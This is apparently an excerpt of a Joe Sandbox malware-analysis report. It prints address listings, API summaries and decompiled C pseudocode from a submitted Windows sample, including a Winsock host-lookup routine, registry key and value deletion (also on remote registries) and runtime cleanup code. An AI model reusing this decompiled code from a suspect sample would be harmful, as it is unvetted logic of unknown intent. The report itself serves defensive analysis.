                                                                                                                                                                            0x00464ca0
                                                                                                                                                                            0x00464ca2
                                                                                                                                                                            0x00464cc0
                                                                                                                                                                            0x00464cc2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464ca6
                                                                                                                                                                            0x00464ca8
                                                                                                                                                                            0x00464cab
                                                                                                                                                                            0x00464cad
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464cb1
                                                                                                                                                                            0x00464cb3
                                                                                                                                                                            0x00464cb6
                                                                                                                                                                            0x00464cb8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464c99
                                                                                                                                                                            0x00464cc5
                                                                                                                                                                            0x00464cc5
                                                                                                                                                                            0x00464cc7
                                                                                                                                                                            0x00464c5f
                                                                                                                                                                            0x00464c5f
                                                                                                                                                                            0x00464c68
                                                                                                                                                                            0x00464c6d
                                                                                                                                                                            0x00464c71
                                                                                                                                                                            0x00464c78
                                                                                                                                                                            0x00464c7a
                                                                                                                                                                            0x00464c84
                                                                                                                                                                            0x00464c7c
                                                                                                                                                                            0x00464c7c
                                                                                                                                                                            0x00464c7c
                                                                                                                                                                            0x00464c7a
                                                                                                                                                                            0x00464cd0
                                                                                                                                                                            0x00464cdb
                                                                                                                                                                            0x00464cde
                                                                                                                                                                            0x00464ce4
                                                                                                                                                                            0x00464ced
                                                                                                                                                                            0x00464cf7
                                                                                                                                                                            0x00464d01
                                                                                                                                                                            0x00464d0b
                                                                                                                                                                            0x00464d10
                                                                                                                                                                            0x00464d18
                                                                                                                                                                            0x00464bae
                                                                                                                                                                            0x00464bb2
                                                                                                                                                                            0x00464bbd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464bbd
                                                                                                                                                                            0x00464bac
                                                                                                                                                                            0x00464b83
                                                                                                                                                                            0x00464b6a
                                                                                                                                                                            0x00464b58
                                                                                                                                                                            0x00464b46
                                                                                                                                                                            0x00464ae7
                                                                                                                                                                            0x00464af2
                                                                                                                                                                            0x00464d34
                                                                                                                                                                            0x00464d39
                                                                                                                                                                            0x00464d43
                                                                                                                                                                            0x00464d4d
                                                                                                                                                                            0x00464d54
                                                                                                                                                                            0x00464d5a
                                                                                                                                                                            0x00464d5a
                                                                                                                                                                            0x00464a98
                                                                                                                                                                            0x00464aa3
                                                                                                                                                                            0x00464aa8
                                                                                                                                                                            0x00464aad
                                                                                                                                                                            0x00464ab7
                                                                                                                                                                            0x00464ac1
                                                                                                                                                                            0x00464ace
                                                                                                                                                                            0x00464ace

                                                                                                                                                                            APIs
                                                                                                                                                                            • WSAStartup.WS2_32(00000101,?), ref: 00464ADE
                                                                                                                                                                              • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                                                                                            • inet_addr.WS2_32(?), ref: 00464B1F
                                                                                                                                                                            • gethostbyname.WS2_32(?), ref: 00464B29
                                                                                                                                                                            • _memset.LIBCMT ref: 00464B92
                                                                                                                                                                            • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                                                                                                                            • WSACleanup.WS2_32 ref: 00464CE4
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3424476444-0
                                                                                                                                                                            • Opcode ID: 39f98ba5d48deffad5e5b1f1b9bfc6eed3f046cb508338f23b217506224ddc0b
                                                                                                                                                                            • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                                                                                                                            • Opcode Fuzzy Hash: 39f98ba5d48deffad5e5b1f1b9bfc6eed3f046cb508338f23b217506224ddc0b
                                                                                                                                                                            • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046AB70 Relevance: 10.8, APIs: 7, Instructions: 260registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 90%
                                                                                                                                                                            			E0046AB70(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, int* _a8) {
				char _v20;
				char _v36;
				char _v40;
				char _v52;
				char _v56;
				char _v68;
				char _v72;
				intOrPtr _v84;
				char _v88;
				intOrPtr _v92;
				signed int _v96;
				void* _v100;
				void* _v104;
				void* _v108;
				void* _v112;
				void* _v116;
				char _v120;
				void* _v121;
				void* _v122;
				char _v124;
				char _v126;
				void* _v138;
				intOrPtr* _v152;
				intOrPtr _v156;
				signed int _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t86;
				long _t93;
				long _t95;
				long _t97;
				char _t99;
				long _t105;
				long _t130;
				long _t150;
				intOrPtr* _t163;
				intOrPtr* _t173;
				void* _t203;
				void* _t206;
				void* _t208;
				signed int _t211;
				int* _t213;
				int* _t214;
				int* _t215;
				int* _t216;
				int* _t217;
				int* _t218;
				signed int _t219;
				void* _t222;
				intOrPtr* _t223;

				_t224 = __eflags;
				_t163 = __ecx;
				_v84 =  *((intOrPtr*)(_a4 + 8));
				_v96 = 0;
				E0040C060( &_v36, __eflags);
				E0040C060( &_v68, __eflags);
				E0040C060( &_v52, __eflags);
				E0040C060( &_v20, __eflags);
				_t86 = E00453081( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)))));
				_t222 = (_t219 & 0xfffffff8) - 0x54;
				E00401B70(_t163, _t86, _t222, _t224);
				E00462DEC( &_v56,  &_v40,  &_v72,  &_v56, _t203, _t208);
				_t223 = _t222 - 0x10;
				_v160 = _v96;
				_t173 = _v88;
				 *_t223 = _v100;
				_v152 = _t173;
				_v156 = _v92;
				 *_t173 =  *_t173 + 1;
				_push( &_v120);
				_push( &_v124);
				if(E00462BF3( &_v124, _v92, _t224) != 0) {
					_t93 = E00437BFD(_t223 + 0x50);
					 *((char*)(_t223 + 0xe)) = _t93;
					__eflags = _t93;
					if(_t93 != 0) {
						_t206 = _v100;
						L7:
						_t211 = _v96;
						_t95 = RegOpenKeyExW(_t206,  *(_t223 + 0x40), 0, _t211 | 0x0002001f,  &_v108);
						__eflags = _t95;
						if(_t95 == 0) {
							_t97 = _v92 - 1;
							__eflags = _t97;
							if(_t97 == 0) {
								_t99 = E004422B9(_v108, _t211);
								_t223 = _t223 + 8;
								 *((char*)(_t223 + 0x13)) = _t99;
								RegCloseKey(_v108);
								__eflags =  *((char*)(_t223 + 0xf));
								if( *((char*)(_t223 + 0xf)) != 0) {
									_v88 = 0;
									 *((intOrPtr*)(_t223 + 0x2c)) = 0;
									__eflags = E00434153( &_v88);
									if(__eflags == 0) {
										_t105 = RegDeleteKeyW(_t206,  *(_t223 + 0x40));
									} else {
										_push(0);
										_push(_t211);
										_push( *(_t223 + 0x40));
										_push(_t206);
										_t105 =  *((intOrPtr*)(E0044229A(__eflags,  &_v88)))();
									}
									__eflags = _t105;
									if(_t105 != 0) {
										E00404120( *((intOrPtr*)( *_t163 + 4)) + _t163, _t105, 0);
										__eflags =  *((intOrPtr*)( *_t163 + 4)) + _t163;
										E004040E0( *((intOrPtr*)( *_t163 + 4)) + _t163, 0xfffffffe, 0);
										_t213 = _a8;
										E004092C0(_t206, _t213);
										_t213[2] = 1;
										 *_t213 = 2;
									}
									E004344A0( &_v88);
								} else {
									E004040E0( *((intOrPtr*)( *_t163 + 4)) + _t163, 0xfffffffe, 0);
									_t214 = _a8;
									E004092C0(_t206, _t214);
									_t214[2] = 1;
									 *_t214 = 2;
								}
							} else {
								__eflags = _t97 == 1;
								if(_t97 == 1) {
									_t130 = RegDeleteValueW(_v112, E00453081( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)) + 4))));
									__eflags = _t130;
									if(_t130 != 0) {
										__eflags = _t130 - 2;
										if(_t130 != 2) {
											E00404120( *((intOrPtr*)( *_t163 + 4)) + _t163, _t130, 0);
											__eflags =  *((intOrPtr*)( *_t163 + 4)) + _t163;
											E004040E0( *((intOrPtr*)( *_t163 + 4)) + _t163, 0xfffffffe, 0);
											_t215 = _a8;
											E004092C0(_t206, _t215);
											 *_t215 = 2;
										} else {
											_t215 = _a8;
											E004092C0(_t206, _t215);
											 *_t215 = 0;
										}
										_t215[2] = 1;
									}
									RegCloseKey(_v108);
								}
							}
							__eflags =  *((char*)(_t223 + 0xe));
							if( *((char*)(_t223 + 0xe)) == 0) {
								RegCloseKey(_v104);
								L28:
							}
							goto L29;
						}
						E00404120( *((intOrPtr*)( *_t163 + 4)) + _t163, _t95, 0);
						E004040E0( *((intOrPtr*)( *_t163 + 4)) + _t163, 1, 0);
						_t216 = _a8;
						E004092C0(_t206, _t216);
						__eflags = _v126;
						_t216[2] = 1;
						 *_t216 = 0;
						if(_v126 != 0) {
							goto L29;
						}
						RegCloseKey(_v104);
						goto L28;
					}
					_t150 = RegConnectRegistryW( *(_t223 + 0x50), _v100,  &_v104);
					__eflags = _t150;
					if(_t150 == 0) {
						_t206 = _v104;
						goto L7;
					}
					E00404120( *((intOrPtr*)( *_t163 + 4)) + _t163, _t150, 0);
					E004040E0( *((intOrPtr*)( *_t163 + 4)) + _t163, 3, 0);
					_t217 = _a8;
					E004092C0(1, _t217);
					_t217[2] = 1;
					 *_t217 = 0;
					goto L29;
				} else {
					E004040E0( *((intOrPtr*)( *_t163 + 4)) + _t163, 2, 0);
					_t218 = _a8;
					E004092C0(1, _t218);
					_t218[2] = 1;
					 *_t218 = 0;
					L29:
					E00402620(_t223 + 0x60);
					E00402620(_t223 + 0x40);
					E00402620(_t223 + 0x30);
					E00402620(_t223 + 0x50);
					return 0;
				}
			}






















































                                                                                                                                                                            0x0046ab70
                                                                                                                                                                            0x0046ab81
                                                                                                                                                                            0x0046ab88
                                                                                                                                                                            0x0046ab8c
                                                                                                                                                                            0x0046ab94
                                                                                                                                                                            0x0046ab9d
                                                                                                                                                                            0x0046aba6
                                                                                                                                                                            0x0046abaf
                                                                                                                                                                            0x0046abba
                                                                                                                                                                            0x0046abbf
                                                                                                                                                                            0x0046abc6
                                                                                                                                                                            0x0046abda
                                                                                                                                                                            0x0046abe7
                                                                                                                                                                            0x0046abea
                                                                                                                                                                            0x0046abee
                                                                                                                                                                            0x0046abf2
                                                                                                                                                                            0x0046abf9
                                                                                                                                                                            0x0046abfd
                                                                                                                                                                            0x0046ac06
                                                                                                                                                                            0x0046ac0c
                                                                                                                                                                            0x0046ac11
                                                                                                                                                                            0x0046ac19
                                                                                                                                                                            0x0046ac46
                                                                                                                                                                            0x0046ac4b
                                                                                                                                                                            0x0046ac4f
                                                                                                                                                                            0x0046ac51
                                                                                                                                                                            0x0046aca7
                                                                                                                                                                            0x0046acab
                                                                                                                                                                            0x0046acab
                                                                                                                                                                            0x0046acc5
                                                                                                                                                                            0x0046accb
                                                                                                                                                                            0x0046accd
                                                                                                                                                                            0x0046ad1c
                                                                                                                                                                            0x0046ad1c
                                                                                                                                                                            0x0046ad1f
                                                                                                                                                                            0x0046adac
                                                                                                                                                                            0x0046adb5
                                                                                                                                                                            0x0046adb9
                                                                                                                                                                            0x0046adbd
                                                                                                                                                                            0x0046adc3
                                                                                                                                                                            0x0046adc8
                                                                                                                                                                            0x0046adf3
                                                                                                                                                                            0x0046adf7
                                                                                                                                                                            0x0046ae05
                                                                                                                                                                            0x0046ae07
                                                                                                                                                                            0x0046ae26
                                                                                                                                                                            0x0046ae09
                                                                                                                                                                            0x0046ae0d
                                                                                                                                                                            0x0046ae0f
                                                                                                                                                                            0x0046ae10
                                                                                                                                                                            0x0046ae11
                                                                                                                                                                            0x0046ae1c
                                                                                                                                                                            0x0046ae1c
                                                                                                                                                                            0x0046ae2c
                                                                                                                                                                            0x0046ae2e
                                                                                                                                                                            0x0046ae3a
                                                                                                                                                                            0x0046ae48
                                                                                                                                                                            0x0046ae4a
                                                                                                                                                                            0x0046ae4f
                                                                                                                                                                            0x0046ae52
                                                                                                                                                                            0x0046ae57
                                                                                                                                                                            0x0046ae5e
                                                                                                                                                                            0x0046ae5e
                                                                                                                                                                            0x0046ae69
                                                                                                                                                                            0x0046adca
                                                                                                                                                                            0x0046add5
                                                                                                                                                                            0x0046adda
                                                                                                                                                                            0x0046addd
                                                                                                                                                                            0x0046ade2
                                                                                                                                                                            0x0046ade9
                                                                                                                                                                            0x0046ade9
                                                                                                                                                                            0x0046ad25
                                                                                                                                                                            0x0046ad25
                                                                                                                                                                            0x0046ad28
                                                                                                                                                                            0x0046ad43
                                                                                                                                                                            0x0046ad49
                                                                                                                                                                            0x0046ad4b
                                                                                                                                                                            0x0046ad4d
                                                                                                                                                                            0x0046ad50
                                                                                                                                                                            0x0046ad6c
                                                                                                                                                                            0x0046ad7a
                                                                                                                                                                            0x0046ad7c
                                                                                                                                                                            0x0046ad81
                                                                                                                                                                            0x0046ad84
                                                                                                                                                                            0x0046ad89
                                                                                                                                                                            0x0046ad52
                                                                                                                                                                            0x0046ad52
                                                                                                                                                                            0x0046ad55
                                                                                                                                                                            0x0046ad5a
                                                                                                                                                                            0x0046ad5a
                                                                                                                                                                            0x0046ad8f
                                                                                                                                                                            0x0046ad8f
                                                                                                                                                                            0x0046ad9b
                                                                                                                                                                            0x0046ad9b
                                                                                                                                                                            0x0046ad28
                                                                                                                                                                            0x0046ae6e
                                                                                                                                                                            0x0046ae73
                                                                                                                                                                            0x0046ae7a
                                                                                                                                                                            0x0046ae7a
                                                                                                                                                                            0x0046ae7a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ae73
                                                                                                                                                                            0x0046acd9
                                                                                                                                                                            0x0046ace9
                                                                                                                                                                            0x0046acee
                                                                                                                                                                            0x0046acf1
                                                                                                                                                                            0x0046acf6
                                                                                                                                                                            0x0046acfb
                                                                                                                                                                            0x0046ad02
                                                                                                                                                                            0x0046ad08
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ae7a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ae7a
                                                                                                                                                                            0x0046ac62
                                                                                                                                                                            0x0046ac68
                                                                                                                                                                            0x0046ac6a
                                                                                                                                                                            0x0046aca1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046aca1
                                                                                                                                                                            0x0046ac76
                                                                                                                                                                            0x0046ac86
                                                                                                                                                                            0x0046ac8b
                                                                                                                                                                            0x0046ac8e
                                                                                                                                                                            0x0046ac93
                                                                                                                                                                            0x0046ac96
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046ac1b
                                                                                                                                                                            0x0046ac26
                                                                                                                                                                            0x0046ac2b
                                                                                                                                                                            0x0046ac2e
                                                                                                                                                                            0x0046ac33
                                                                                                                                                                            0x0046ac36
                                                                                                                                                                            0x0046ae80
                                                                                                                                                                            0x0046ae84
                                                                                                                                                                            0x0046ae8d
                                                                                                                                                                            0x0046ae96
                                                                                                                                                                            0x0046ae9f
                                                                                                                                                                            0x0046aeac
                                                                                                                                                                            0x0046aeac

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ConnectRegistry_wcslen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 535477410-0
                                                                                                                                                                            • Opcode ID: 42451a53c77474e995d112ec97b7456022921b3a3b4469da5960d5bf31ac6bad
                                                                                                                                                                            • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                                                                                                                            • Opcode Fuzzy Hash: 42451a53c77474e995d112ec97b7456022921b3a3b4469da5960d5bf31ac6bad
                                                                                                                                                                            • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00401C00 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 250COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 94%
                                                                                                                                                                            			E00401C00(void* __ebx, void* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t106;
				int** _t109;
				struct HINSTANCE__** _t110;
				struct HINSTANCE__** _t111;
				struct HINSTANCE__** _t112;
				void* _t116;
				intOrPtr _t118;
				void* _t124;
				void* _t130;
				void* _t132;
				void* _t134;
				void* _t137;
				void* _t152;
				struct HINSTANCE__** _t167;
				signed int _t182;
				long* _t183;
				intOrPtr _t195;
				intOrPtr _t207;
				signed int _t223;
				signed int _t224;
				signed int _t225;
				long* _t226;
				intOrPtr* _t236;
				void* _t246;
				void* _t248;

				_t181 = __ebx;
				_push(__ecx);
				_push(__ebx);
				_t246 = __ecx;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx - 0x49c)) + 4)) + __ecx - 0x49c)) = 0x48a05c;
				_t6 =  *((intOrPtr*)(__ecx - 0x49c)) + 4; // 0x4290e2
				_t7 =  *_t6 - 0x49c; // 0x428c46
				 *((intOrPtr*)( *_t6 + __ecx - 0x4a0)) = _t7;
				_t106 =  *((intOrPtr*)(__ecx - 0x3b4));
				if(_t106 != 0) {
					 *0x482604(_t106);
				}
				mciSendStringW(L"close all", 0, 0, 0);
				_t218 = 1;
				if( *((intOrPtr*)(_t246 - 0x2ec)) > 0) {
					_t223 = 0;
					__eflags = 0;
					do {
						_t109 =  *( *((intOrPtr*)(_t246 - 0x2f0)) + _t223 * 4);
						__eflags =  *_t109;
						if( *_t109 != 0) {
							_t211 =  *0x4972c0;
							UnregisterHotKey( *0x4972c0,  *( *_t109));
							_t179 =  *( *( *((intOrPtr*)(_t246 - 0x2f0)) + _t223 * 4));
							__eflags =  *( *( *((intOrPtr*)(_t246 - 0x2f0)) + _t223 * 4));
							if(__eflags != 0) {
								E00443120(_t181, _t211, _t218, _t246, __eflags, _t179);
							}
						}
						_t223 = _t223 + _t218;
						__eflags = _t223 -  *((intOrPtr*)(_t246 - 0x2ec));
					} while (_t223 <  *((intOrPtr*)(_t246 - 0x2ec)));
					goto L2;
				} else {
					L2:
					if( *((intOrPtr*)(_t246 - 0x31c)) > 0) {
						_t182 = 0;
						__eflags = 0;
						do {
							_t110 = ( *(_t246 - 0x320))[_t182];
							__eflags =  *_t110;
							if( *_t110 != 0) {
								_t167 =  *_t110;
								__eflags =  *_t167;
								if(__eflags != 0) {
									FindClose(_t167[2]);
									E004112EF(_t182, ( *(_t246 - 0x320))[_t182], _t218, _t223, __eflags,  *((intOrPtr*)( *(( *(_t246 - 0x320))[_t182]) + 0xc)));
									_t248 = _t248 + 4;
								} else {
									_t223 = _t167[1];
									E0040D900(_t223);
									 *((intOrPtr*)(_t223 + 0x2c)) = 0;
									 *((intOrPtr*)(_t223 + 0x30)) = 0;
								}
								_t211 =  *(_t246 - 0x320);
								E004112EF(_t182,  *(_t246 - 0x320), _t218, _t223, __eflags,  *(( *(_t246 - 0x320))[_t182]));
								_t248 = _t248 + 4;
							}
							_t182 = _t182 + _t218;
							__eflags = _t182 -  *((intOrPtr*)(_t246 - 0x31c));
						} while (_t182 <  *((intOrPtr*)(_t246 - 0x31c)));
					}
					if( *((intOrPtr*)(_t246 - 0x30c)) > 0) {
						_t224 = 0;
						__eflags = 0;
						do {
							_t211 =  *(_t246 - 0x310);
							_t111 = ( *(_t246 - 0x310))[_t224];
							__eflags =  *_t111;
							if( *_t111 != 0) {
								FreeLibrary( *_t111);
							}
							_t224 = _t224 + _t218;
							__eflags = _t224 -  *((intOrPtr*)(_t246 - 0x30c));
						} while (_t224 <  *((intOrPtr*)(_t246 - 0x30c)));
					}
					if( *((intOrPtr*)(_t246 - 0x2fc)) > 0) {
						_t225 = 0;
						__eflags = 0;
						do {
							_t112 =  *( *((intOrPtr*)(_t246 - 0x300)) + _t225 * 4);
							__eflags =  *_t112;
							if( *_t112 != 0) {
								VirtualFree( *( *_t112 + 0x10), 0, 0x8000);
								_t207 =  *((intOrPtr*)(_t246 - 0x300));
								_t211 =  *(_t207 + _t225 * 4);
								_t163 =  *( *(_t207 + _t225 * 4));
								__eflags =  *( *(_t207 + _t225 * 4));
								if(__eflags != 0) {
									E0044AFC1(_t218, _t246, __eflags, _t163);
								}
							}
							_t225 = _t225 + _t218;
							__eflags = _t225 -  *((intOrPtr*)(_t246 - 0x2fc));
						} while (_t225 <  *((intOrPtr*)(_t246 - 0x2fc)));
					}
					_t226 = _t246 - 0x2e4;
					E004092C0(_t218, _t226);
					_t226[2] = _t218;
					 *_t226 = 0;
					_t183 = _t246 - 0x14;
					E004092C0(_t218, _t183);
					_t183[2] = _t218;
					 *_t183 = 0;
					_t20 =  *((intOrPtr*)(_t246 - 0x49c)) + 4; // 0x4290e2
					_t195 =  *_t20;
					_t116 = _t195 + _t246;
					if( *((intOrPtr*)(_t195 + _t246 - 0x498)) == 0) {
						L8:
						E0040E700(_t246 - 0x49c);
						_t118 =  *((intOrPtr*)(_t246 - 0x28));
						_t262 = _t118;
						if(_t118 != 0) {
							E00435792(_t118);
						}
						E004092C0(_t218, _t183);
						E004107F0(_t246 - 0x34);
						E0040E6B0(_t246 - 0x44);
						E00402620(_t246 - 0x64);
						_t124 = E00401380(_t183, _t211, _t218, _t246 - 0x1a0);
						_t233 = _t246 - 0x1bc;
						 *((intOrPtr*)(_t246 - 0x1bc)) = 0x48a070;
						E00410810(_t124, _t246 - 0x1bc);
						E004112EF(_t183, _t211, _t218, _t246 - 0x1bc, _t262,  *((intOrPtr*)(_t233 + 4)));
						_t184 = _t246 - 0x2c4;
						E004012D0(_t246 - 0x2c4, _t211, _t218, _t233);
						E00402620(_t246 - 0x2d4);
						_t130 = E004092C0(_t218, _t246 - 0x2e4);
						_t235 = _t246 - 0x2f4;
						 *((intOrPtr*)(_t246 - 0x2f4)) = 0x48a070;
						E00410810(_t130, _t246 - 0x2f4);
						_t132 = E004112EF(_t246 - 0x2c4, _t211, _t218, _t246 - 0x2f4, _t262,  *((intOrPtr*)(_t235 + 4)));
						_t236 = _t246 - 0x304;
						 *_t236 = 0x48a070;
						E00410810(_t132, _t236);
						_t213 =  *((intOrPtr*)(_t236 + 4));
						_t134 = E004112EF(_t246 - 0x2c4,  *((intOrPtr*)(_t236 + 4)), _t218, _t236, _t262,  *((intOrPtr*)(_t236 + 4)));
						_t237 = _t246 - 0x314;
						 *((intOrPtr*)(_t246 - 0x314)) = 0x48a070;
						E00410810(_t134, _t246 - 0x314);
						_t137 = E004112EF(_t246 - 0x2c4,  *((intOrPtr*)(_t236 + 4)), _t218, _t246 - 0x314, _t262,  *((intOrPtr*)(_t237 + 4)));
						_t238 = _t246 - 0x324;
						 *((intOrPtr*)(_t246 - 0x324)) = 0x48a070;
						E00410810(_t137, _t246 - 0x324);
						E004112EF(_t184,  *((intOrPtr*)(_t236 + 4)), _t218, _t246 - 0x324, _t262,  *((intOrPtr*)(_t238 + 4)));
						E004108C0(_t246 - 0x330);
						E00410890(_t246 - 0x340, _t184, _t213);
						E00402620(_t246 - 0x350);
						E00410860(_t246 - 0x368, _t213);
						E0040E6B0(_t246 - 0x374);
						E0040E6B0(_t246 - 0x380);
						E00402620(_t246 - 0x3c4);
						E00402620(_t246 - 0x3d4);
						E00402620(_t246 - 0x3e4);
						_pop(_t219);
						_pop(_t241);
						_t152 = _t246 - 0x414;
						_t242 = _t152;
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t152 - 0x88)) + 4)) + _t152 - 0x88)) = 0x48a2dc;
						E0040F040(_t242 - 0x88);
						E0040DCC0(_t242 - 0x78);
						return E0040F0B0(_t242 + 0xffffff7c);
					}
					 *(_t248 + 0x10) = 0;
					do {
						E0040D590(_t116 + 0xfffffb64, _t248 + 0x10);
						_t27 =  *((intOrPtr*)(_t246 - 0x49c)) + 4; // 0x4290e2
						_t29 = _t246 - 0x498; // 0x428c4a
						_t218 =  *_t27 + _t29;
						E0040DC00( *_t27 + _t29);
						_t31 =  *((intOrPtr*)(_t246 - 0x49c)) + 4; // 0x4290e2
						_t211 =  *_t31;
						_t116 = _t211 + _t246;
					} while ( *((intOrPtr*)(_t211 + _t246 - 0x498)) != 0);
					goto L8;
				}
			}






























                                                                                                                                                                            0x00401c00
                                                                                                                                                                            0x00401c00
                                                                                                                                                                            0x00401c01
                                                                                                                                                                            0x00401c03
                                                                                                                                                                            0x00401c0e
                                                                                                                                                                            0x00401c1f
                                                                                                                                                                            0x00401c22
                                                                                                                                                                            0x00401c28
                                                                                                                                                                            0x00401c2f
                                                                                                                                                                            0x00401c39
                                                                                                                                                                            0x0042a751
                                                                                                                                                                            0x0042a751
                                                                                                                                                                            0x00401c4a
                                                                                                                                                                            0x00401c57
                                                                                                                                                                            0x00401c5c
                                                                                                                                                                            0x0042a75c
                                                                                                                                                                            0x0042a75c
                                                                                                                                                                            0x0042a75e
                                                                                                                                                                            0x0042a764
                                                                                                                                                                            0x0042a767
                                                                                                                                                                            0x0042a76a
                                                                                                                                                                            0x0042a770
                                                                                                                                                                            0x0042a778
                                                                                                                                                                            0x0042a787
                                                                                                                                                                            0x0042a789
                                                                                                                                                                            0x0042a78b
                                                                                                                                                                            0x0042a78e
                                                                                                                                                                            0x0042a78e
                                                                                                                                                                            0x0042a78b
                                                                                                                                                                            0x0042a793
                                                                                                                                                                            0x0042a795
                                                                                                                                                                            0x0042a795
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00401c62
                                                                                                                                                                            0x00401c62
                                                                                                                                                                            0x00401c69
                                                                                                                                                                            0x0042a7a2
                                                                                                                                                                            0x0042a7a2
                                                                                                                                                                            0x0042a7a4
                                                                                                                                                                            0x0042a7aa
                                                                                                                                                                            0x0042a7ad
                                                                                                                                                                            0x0042a7b0
                                                                                                                                                                            0x0042a7b2
                                                                                                                                                                            0x0042a7b4
                                                                                                                                                                            0x0042a7b7
                                                                                                                                                                            0x0042a7cf
                                                                                                                                                                            0x0042a7e4
                                                                                                                                                                            0x0042a7e9
                                                                                                                                                                            0x0042a7b9
                                                                                                                                                                            0x0042a7b9
                                                                                                                                                                            0x0042a7bc
                                                                                                                                                                            0x0042a7c3
                                                                                                                                                                            0x0042a7c6
                                                                                                                                                                            0x0042a7c6
                                                                                                                                                                            0x0042a7ec
                                                                                                                                                                            0x0042a7f8
                                                                                                                                                                            0x0042a7fd
                                                                                                                                                                            0x0042a7fd
                                                                                                                                                                            0x0042a800
                                                                                                                                                                            0x0042a802
                                                                                                                                                                            0x0042a802
                                                                                                                                                                            0x0042a80a
                                                                                                                                                                            0x00401c76
                                                                                                                                                                            0x0042a80f
                                                                                                                                                                            0x0042a80f
                                                                                                                                                                            0x0042a811
                                                                                                                                                                            0x0042a811
                                                                                                                                                                            0x0042a817
                                                                                                                                                                            0x0042a81a
                                                                                                                                                                            0x0042a81d
